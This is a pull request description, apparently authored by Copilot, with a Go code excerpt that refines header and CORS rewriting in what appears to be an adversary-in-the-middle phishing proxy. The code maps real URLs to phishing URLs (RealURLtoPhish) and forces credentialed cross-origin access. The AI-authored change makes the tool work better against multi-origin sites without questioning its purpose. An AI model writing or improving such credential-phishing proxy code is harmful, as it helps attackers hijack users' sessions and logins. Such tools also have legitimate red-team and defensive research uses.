Fix translation paths in proxy

[Copilot]

The proxy translation logic was previously mishandling multi-origin setups by using Header.Get() (which drops all but the first header value) and by unconditionally overriding the backend's CORS headers with the client's origin.

Changes

• Header Slice Iteration: Refactored the patching logic for Origin, Referer, Cookie, WWW-Authenticate, and Access-Control-Allow-Origin to iterate over all header values (Header["Name"]) rather than just the first one.
• CORS Translation: Modified Access-Control-Allow-Origin patching to translate backend-provided origins (using RealURLtoPhish) instead of blindly forcing it to the client's request origin. This correctly preserves dynamic multi-origin configurations from the backend.
• CORS Fallback: Maintained the fallback behavior to inject the requested Origin and Access-Control-Allow-Credentials: true only if the backend server does not provide an Access-Control-Allow-Origin header.

// Translating backend-provided origins properly supports multi-origin setups
if len(httpResponse.Header["Access-Control-Allow-Origin"]) > 0 {
    setCredentials := false
    for i, oldOrigin := range httpResponse.Header["Access-Control-Allow-Origin"] {
        if oldOrigin == "*" || oldOrigin == "null" {
            log.Debugf("Not rewriting Access-Control-Allow-Origin: [%s]", oldOrigin)
        } else {
            newOrigin := runtime.RegexpUrl.ReplaceAllStringFunc(oldOrigin, runtime.RealURLtoPhish)
            httpResponse.Header["Access-Control-Allow-Origin"][i] = newOrigin
            setCredentials = true
        }
    }
    if setCredentials {
        httpResponse.Header.Set("Access-Control-Allow-Credentials", "true")
    }
} else if p.Origin != "" {
    // Fallback if no backend CORS header is provided
    httpResponse.Header.Set("Access-Control-Allow-Origin", p.Origin)
    httpResponse.Header.Set("Access-Control-Allow-Credentials", "true")
}